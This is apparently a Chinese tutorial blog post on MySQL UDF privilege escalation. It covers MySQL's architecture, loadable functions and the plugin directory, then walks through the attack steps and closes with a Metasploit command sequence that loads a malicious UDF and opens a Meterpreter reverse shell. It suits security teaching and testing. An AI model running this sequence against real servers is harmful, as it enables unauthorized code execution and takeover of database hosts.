文章目录
- 前言
- 一、MySQL架构
- 二、什么是UDF
- 三、UDF提权原理
- 四、MSF实战
- 参考
前言
看了许多视频和文章,对UDF提权讲得都不是很清楚,遂搜索了一下MySQL的基础知识,总结了一下,供各位初学的师傅参考。
一、MySQL架构
首先,MySQL也是一个C/S
(客户端/服务端编程模型)软件,和其他软件一样,没有什么神奇的东西。这个软件大概的运行机制如下:
MySQL 的架构共分为两层:Server 层和存储引擎层
Server 层:负责建立连接、分析和执行 SQL。MySQL 大多数的核心功能模块都在这实现,主要包括连接池,执行器、优化器、解析器、预处理器、查询缓存等。另外,所有的内置函数(如日期、时间、数学和加密函数等)和所有跨存储引擎的功能(如存储过程、触发器、视图等)都在 Server 层实现;
存储引擎层:负责数据的存储和提取。支持 InnoDB、MyISAM、Memory 等多个存储引擎,不同的存储引擎共用一个 Server 层。现在最常用的存储引擎是 InnoDB,从 MySQL 5.5 版本开始, InnoDB 成为了 MySQL 的默认存储引擎。我们常说的索引数据结构,就是由存储引擎层实现的。
二、什么是UDF
user-defined functions (UDFs),用户自定义函数,不过,这已经是过时的说法了,MySQL官方文档现在把它称作Loadable Functions
(可加载函数),是MySQL可在运行时加载执行以扩展功能的机制。我们大可把它理解为是一个插件,而且其本质也是一个动态链接库。
官方文档很清楚地说明了,一个可加载函数会被编译为库文件(Windows下文.dll,Linux下为.so),然后使用CREATE FUNCTION
和DROP FUNCTION
语句动态地从服务器加载和卸载。
A loadable function is compiled as a library file and then loaded and unloaded from the server dynamically using the
CREATE FUNCTION
andDROP FUNCTION
statements.
既然是插件,那必然要遵循一定的约定,好让MySQL知道如何调用。官方文档从格式、参数、编译等等都详细介绍了开发者如何加载一个自己开发的UDF,但作为一个脚本小子,我们不关心怎么写,要操心的是UDF文件放到哪个目录才能被MySQL找到。该目录由plugin_dir
系统变量的值指定,我们可以通过@@
来引用系统变量。关于更多信息,还是看一看官方文档吧,参考[5]、[6]直达。
三、UDF提权原理
MySQL一般、默认、往往都是以高权限用户执行的,我们上传一个恶意的UDF文件让MySQL加载执行,这个UDF会继承MySQL的权限,就达到了提权的目的。
UDF提权的核心思想是向MySQL服务器中插入一个恶意编写的UDF,并通过调用这个UDF来执行恶意代码。为了实现提权,攻击者需要满足以下条件:
-
UDF文件:首先,攻击者需要有一个恶意编写的UDF文件。这个文件通常是一个共享库(如.so文件),其中包含了攻击者想要执行的代码。
-
文件上传:攻击者需要将这个UDF文件上传到MySQL服务器上。这通常涉及到将文件写入到MySQL的插件目录或其他MySQL可以访问的位置。
-
注册UDF:接下来,攻击者需要在MySQL中注册这个UDF。这可以通过执行CREATE FUNCTION语句来实现,该语句告诉MySQL如何加载和使用这个UDF。
-
调用UDF:一旦UDF被注册,攻击者就可以通过SQL查询来调用它,从而执行恶意代码。
四、MSF实战
恶意的UDF和反弹shell的代码,Msf里面都已经有大佬写好的了,脚本小子直接用就好
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password 【root用户的密码】
set rhosts 【ip地址】
run
看下这篇文章就好:MySQL UDF提权
参考
[1]MySQL体系结构及运行原理-侯圣文
[2] MySQL 系列 MySQL 架构篇
[3] MySQL UDF提权:从原理到实践
[4] 小迪安全 红蓝对抗 | 网络攻防 | V2022全栈培训
[5] MySQL官方文档:MySQL Server Loadable Functions
[6] MySQL官方文档:Adding a Loadable Function
[7] MySQL UDF提权